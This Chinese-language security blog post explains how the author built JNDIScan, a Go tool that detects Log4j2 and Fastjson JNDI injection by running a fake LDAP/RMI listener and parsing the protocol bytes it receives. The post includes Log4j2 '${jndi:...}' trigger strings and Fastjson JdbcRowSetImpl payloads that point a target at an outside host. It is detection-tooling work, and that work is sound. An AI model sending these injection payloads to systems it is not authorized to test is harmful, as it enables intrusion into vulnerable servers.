淺談Log4j2不借助dnslog的檢測
0x00 介紹
目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
也許在甲方內網自查等情景下有很好的效果
筆者實習期間參與過xray的一些開發,對其中的反連平臺有一些了解。正好天下大木頭師傅找到我,提出了它同樣的思路,于是我們交流后編寫了一款工具,目前功能簡單,后續可能會加強
主要原理是參考LDAP和RMI協議文檔,編寫解析協議的代碼,獲取我們需要的數據,保存即可
所以本文主要就是分析該工具的介紹和編寫思路,首先來看看效果
運行工具:./Log4j2Scan.exe -p 8000

由于我在本地測試,所以ip地址為127.0.0.1
使用RMI觸發漏洞(RMI方式的Payload必須有Path否則不會發請求)
public static void main(String[] args) { logger.error("${jndi:rmi://127.0.0.1:8000/xxx}");}
使用LDAP觸發漏洞
public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:8000}");}
可以看到命令行的輸出

我另外做了一個動態更新的web頁面,每收到一個請求都會在頁面中刷新

這是最初的版本,這兩天我加入了一些新功能,可以從路徑中帶出參數,該功能有利于批量掃描等方式
(例如ldap://127.0.0.1:1389/4ra1n會收集到4ra1n)

后來木頭師傅又做了Burpsuite插件的適配(由于一些原因木頭師傅刪除了這些功能)

0x01 LDAP
無論是LDAP還是RMI協議情況下的漏洞觸發,總是需要發請求的,于是我們將這些請求抓包分析
搭建正常的LDAP Server并監聽lookback網卡并設置端口為tcp:1389

無需關心前三步,這三步是TCP的握手,并不包含真正的數據,從PSH+ASK這一條數據來看
首先是漏洞觸發端(客戶端)向LDAP服務端發了300c020101600702010304008000這樣的一串數據

經過多次不同操作系統下的測試,確認這應該是LDAP協議的指紋,正常情況下客戶端都會向服務端首先發送這樣一個字符串,為了進一步確認,我嘗試到google和github進行搜索
在 Github類似代碼 中發現該字符串被很多腳本作為LDAP協議的探測指紋信息,在 官方文檔 中確認了為什么是這樣的字符串
30 0c -- Begin the LDAPMessage sequence 02 01 01 -- The message ID (integer value 1) 60 07 -- Begin the bind request protocol op 02 01 03 -- The LDAP protocol version (integer value 3) 04 00 -- Empty bind DN (0-byte octet string) 80 00 -- Empty password (0-byte octet string with type context-specific -- primitive zero)
于是我們用Golang編寫了類似的邏輯,構造了一個虛假的LDAP Server分析來自漏洞觸發端的TCP連接
監聽Socket
log.Info("start fake reverse server")listen, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", config.Port))...for { conn, err := listen.Accept() ... // 分析 go acceptProcess(&conn)}
根據上述指紋進行分析
func acceptProcess(conn *net.Conn) { buf := make([]byte, 1024) num, err := (*conn).Read(buf) ... hexStr := fmt.Sprintf("%x", buf[:num]) // LDAP 指紋 if "300c020101600702010304008000" == hexStr { // 如果符合則記錄該請求 res := &model.Result{ Host: (*conn).RemoteAddr().String(), Name: "LDAP", Finger: hexStr, } }}
到這一步只能確定是LDAP協議還拿不到傳過來的參數(ldap://127.0.0.1:1389/4ra1n中的4ra1n)
于是繼續查看官方文檔,構造標準的返回包
30 0c -- Begin the LDAPMessage sequence 02 01 01 -- The message ID (integer value 1) 61 07 -- Begin the bind response protocol op 0a 01 00 -- success result code (enumerated value 0) 04 00 -- No matched DN (0-byte octet string) 04 00 -- No diagnostic message (0-byte octet string)
按照標準返回之后,會再次從客戶端得到輸入
不過這個包并不能匹配到LDAP官方文檔中任意一種協議(也許是我沒找到)
通過大量請求做diff后發現這里新輸入的規律
- 輸入前7位是固定的
- 輸入的第8位代表路徑的長度n(例如
4ra1n長度為05) - 從第9位到第9+n位是對應的路徑參數
按照這個規則編寫,即可取到其中的參數
if "300c020101600702010304008000" == hexStr { data := []byte{ 0x30, 0x0c, 0x02, 0x01, 0x01, 0x61, 0x07, 0x0a, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00, } _, _ = (*conn).Write(data) _, _ = (*conn).Read(buf) length := buf[8] pathBytes := bytes.Buffer{} for i := 1; i <= int(length); i++ { temp := []byte{buf[8+i]} pathBytes.Write(temp) } // 得到path path := pathBytes.String() ... _ = (*conn).Close() return}
0x02 RMI
RMI的分析過程大致分為5步,我將和大家逐個介紹
(1)Client -> Server
接下來分析RMI的情況
同樣的方式抓包看到4a524d4900024b的指紋,由漏洞觸發端(客戶端)發向RMI服務端
不過RMI協議的開頭并不這么簡單,不一定是一個固定的字符串
在Oracle官網看到了這樣的描述:RMI協議分為請求頭Header和消息Message部分,上文的字符串是Header相關的內容,該TCP連接后續會進行Message的傳輸
關于Header的解釋如下:0x4a 0x52 0x4d 0x49為固定字節(轉成字符串是JRMI)
后面兩個字節分別表示Version和Protocol信息,按照RMI協議的規定,這里的Version應該是0x00 0x01,實際抓包看到的是0x00 0x02,或許是文檔較老的原因?
末尾的0x4b表示這是StreamProtocol協議方式,沒有什么問題
Header: 0x4a 0x52 0x4d 0x49 Version Protocol Version: 0x00 0x01 Protocol: StreamProtocol SingleOpProtocol MultiplexProtocol StreamProtocol: 0x4b SingleOpProtocol: 0x4c MultiplexProtocol: 0x4d
其實仔細看Wireshark的解析,和我做的分析一致

如果只為了確認RMI協議,那么到這里就可以了
但我們的目的是獲取路徑參數,在RMI協議中這一步尤其復雜
(2)Server -> Client
接下來應該是RMI服務端返回數據給漏洞觸發端(客戶端)
原始報文為
0000 4e 00 0f 44 45 53 4b 54 4f 50 2d 46 50 30 32 42 N..DESKTOP-FP02B0010 4b 48 00 00 f8 8e KH....
根據官方文檔不難看出0x4e表示ProtocolAck且后續內容應該是具體返回的值
In: ProtocolAck Returns ProtocolAck: 0x4e
簡單分析了下這里0x00 0x0f表示長度15,后15位DESKTOP-FP02BKH是服務端的主機名
最后的0xf8 0xfe是RMI客戶端的端口:63630
在Wireshark中可以看到解析結果和分析一致

(3)Client -> Server
接下來客戶端會向服務端發送如下的數據,報文如下
0000 00 0b 31 39 32 2e 31 36 38 2e 31 2e 34 00 00 00 ..192.168.1.4...0010 00 .
其中0b表示一個內網地址長度,正好是192.168.1.4,其余部分用00填充
于是想到這里的地址是否可以偽造
(4)Server -> Client
接下來服務端需要向客戶端傳一個空(至關重要)
(5)Client -> Server
下一步是客戶端繼續向服務端發送,報文以0x50開頭,表示call操作
Call: 0x50 CallData
報文如下,開頭的aced0005是經典序列化數據頭,結尾的jlmz6v是我們需要的路徑參數
0000 50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00 P....w".........0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0020 02 44 15 4d c9 d4 e6 3b df 74 00 06 6a 6c 6d 7a .D.M...;.t..jlmz0030 36 76 6v
現在問題來了,這是什么類的序列化數據
想辦法對這個數據進行反序列化,發現報錯
byte[] data = new byte[]{ (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x77, (byte)0x22, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x02, (byte)0x44, (byte)0x15, (byte)0x4d, (byte)0xc9, (byte)0xd4, (byte)0xe6, (byte)0x3b, (byte)0xdf, (byte)0x74, (byte)0x00, (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76};ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream ois = new ObjectInputStream(is);Object obj = ois.readObject();ois.close();System.out.println(obj);
在嘗試研究后,發現這個序列化數據類似String
byte[] data = new byte[]{ (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x74, (byte)0x00, (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76};ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream ois = new ObjectInputStream(is);Object obj = ois.readObject();ois.close();// 打印:jlmz6vSystem.out.println(obj);
發現字符串數據位于末尾,且之前有一個表示長度的字節,如這里06 6a 6c 6d 7a的06表示jlmz6v長度為6
因此能否從后往前讀,如果已讀到的長度等于當前讀到的字節代表的數字,那么認為已讀到的字符串翻轉后是路徑參數
(這種手段也許會有誤報,但由于字母的ASCII碼數值很大,所以大概率不會出問題)
(6)實現
首先根據第一步判斷是否為RMI協議
func checkRMI(data []byte) bool {if data[0] == 0x4a &&data[1] == 0x52 &&data[2] == 0x4d &&data[3] == 0x49 {if data[4] != 0x00 {return false} // 0x01是官方規定的 0x02是實際抓包的結果 // 所以可以認為0x01和0x02都為RMI協議if data[5] != 0x01 && data[5] != 0x02 {return false}if data[6] != 0x4b &&data[6] != 0x4c &&data[6] != 0x4d {return false}lastData := data[7:]for _, v := range lastData {if v != 0x00 {return false}}return true}return false}
進一步獲取路徑參數比較麻煩
if checkRMI(buf) { // 需要發的數據(這里模擬了127.0.0.1) // 實際上這個數據可以隨意模擬 // 只要保證4e00開頭 data := []byte{ 0x4e, 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x00, 0x00, 0xc4, 0x12, } _, _ = (*conn).Write(data) // 這里讀到的數據沒有用處 _, _ = (*conn).Read(buf) // 需要發一次空數據然后接收call信息 _, _ = (*conn).Write([]byte{}) _, _ = (*conn).Read(buf) var dataList []byte flag := false // 從后往前讀因為空都是00 for i := len(buf) - 1; i >= 0; i-- { // 這里要用一個flag來區分 // 因為正常數據中也會含有00 if buf[i] != 0x00 || flag { flag = true dataList = append(dataList, buf[i]) } } // 拿到翻轉路徑索引 // 原理在上文已寫: // 已讀到的長度等于當前讀到的字節代表的數字 // 那么認為已讀到的字符串翻轉后是路徑參數 var j int for i := 0; i < len(dataList); i++ { if int(dataList[i]) == i { j = i } } // 拿到翻轉路徑參數 temp := dataList[0:j] pathBytes := &bytes.Buffer{} // 翻轉后拿到真正的路徑參數 for i := len(temp) - 1; i >= 0; i-- { pathBytes.Write([]byte{dataList[i]}) } ... _ = (*conn).Close() return}
0x03 其他
最后分享一些簡單的安全開發技術,對于想自己寫安全工具師傅可能會有幫助
監聽Socket收到的結果如何傳遞記錄
構造一個非阻塞channel用于傳輸(給出默認長度就不阻塞了)
ResultChan = make(chan *model.Result, 100)
收到LDAP或RMI請求后將數據輸入channel
// LDAPif "300c020101600702010304008000" == hexStr { // 記錄數據 res := &model.Result{ Host: (*conn).RemoteAddr().String(), Name: "LDAP", Finger: hexStr, } // 數據輸入channel ResultChan <- res}
這時候其他的goroutine就可以取到channel中的結果
for { select { // 從channel中取到結果 case res := <-ResultChan: // 輸出結果 info := fmt.Sprintf("%s->%s", res.Name, res.Host) log.Info("log4j2 detected") log.Info(info) // 第二個問題 RenderChan <- res }}
如何將結果傳遞給web頁面
上面這個問題最后將結果放入了一個新的channel
RenderChan <- res
在開啟web服務的時候,建一個goroutine用于接收這個數據
var ( // 新channel的指針resultList []*model.Result // 為什么要上鎖參考下一個問題lock sync.Mutex)
func StartHttpServer(renderChan *chan *model.Result) {log.Info("start result http server") // 開啟web服務mux := http.NewServeMux()mux.Handle(config.DefaultHttpPath, &resultHandler{})server := &http.Server{Addr: fmt.Sprintf(":%d", config.HttpPort),WriteTimeout: config.DefaultHttpTimeout,Handler: mux,} // 負責接收實時數據go listenData(renderChan)_ = server.ListenAndServe()}
func listenData(renderChan *chan *model.Result) {for {select {case res := <-*renderChan: // 申請鎖 // 為什么要上鎖參考下一個問題lock.Lock() // 將結果加入到list中resultList = append(resultList, res)lock.Unlock()}}}
如何做到web頁面實時顯示
上一個問題涉及到了互斥鎖,正是為了解決這個問題
接收到請求會在Handler的ServeHTTP中處理,上文中維護的全局列表在實時地添加最新掃描結果,如果這里直接取全局列表會出現并發問題,所以選用了互斥鎖(也有其他的解決方案這種最簡單)
type resultHandler struct {}
func (handler *resultHandler) ServeHTTP(w http.ResponseWriter, _ *http.Request) { // 申請鎖lock.Lock() // 根據當前list中的結果返回_, _ = w.Write(RenderHtml(resultList))lock.Unlock()}
如何讓前端實時刷新:首先想到的是Ajax定時請求插入新的數據,實現起來麻煩
于是想到暴力辦法,定時刷新頁面
<script> function fresh(){ window.location.reload(); } setTimeout('fresh()',3000);script>
0x04 總結
項目地址:https://github.com/EmYiQing/JNDIScan
由于一些原因,木頭師傅要求我在項目中刪除了他的ID,但木頭師傅在該項目中的貢獻不可否認。由于同樣的原因,我不得不刪除其中的動態web頁面,轉為生成本地的html文件。做安全真難,寫個工具都不能安穩
最后我將項目名稱從Log4j2Scan改為JNDIScan并加入了一些小功能
- 自動獲取內網和外網的IP,方便用戶直接使用
- 添加路徑外帶參數的功能,方面批量掃描(使用UUID等方式來確認漏洞)

最后,該項目不僅可用于Log4j2的掃描,也可用于Fastjson等可能存在JDNI注入漏洞組件的掃描
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://your-ip:port/xxx","autoCommit": true}
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://your-ip:port/params","autoCommit": true
}